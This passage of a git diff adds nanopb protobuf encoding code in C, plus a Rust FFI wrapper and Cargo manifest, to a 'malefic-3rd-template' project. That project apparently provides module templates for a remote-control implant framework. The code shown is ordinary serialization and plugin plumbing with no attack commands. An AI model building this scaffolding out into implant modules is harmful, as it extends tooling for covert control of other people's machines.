field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if (PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, (size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/lib.rs b/malefic-3rd-template/malefic-3rd-c/src/lib.rs new file mode 100644 index 0000000..63e6adf --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/lib.rs @@ -0,0 +1,30 @@ +use malefic_3rd_ffi::*; +use std::ffi::{c_char, c_int, c_uint}; + +extern "C" { + fn CModuleName() -> *const c_char; + fn CModuleHandle( + task_id: c_uint, + req_data: *const c_char, + req_len: c_int, + resp_data: *mut *mut c_char, + resp_len: *mut c_int, + ) -> c_int; +} + +pub struct CModule { + name: String, +} + +impl RtModule for CModule { + fn name() -> &'static str { "example_c" } + + fn new() -> Self { + let name = unsafe { ffi_module_name(CModuleName, false) }; + Self { name } + } + + fn run(&mut self, id: u32, ch: &RtChannel) -> RtResult { + ffi_handler_loop(id, ch, CModuleHandle, "CModuleHandle") + } +} diff --git a/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml b/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml new file mode 100644 index 0000000..6a2ddba --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-ffi/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "malefic-3rd-ffi" +version = "0.1.0" +edition = "2021" + +[lib] +name = "malefic_3rd_ffi" +path = "src/lib.rs" + +[dependencies] +malefic-proto = { workspace = true } +malefic-runtime = { workspace = true } +prost = { workspace = true } diff --git 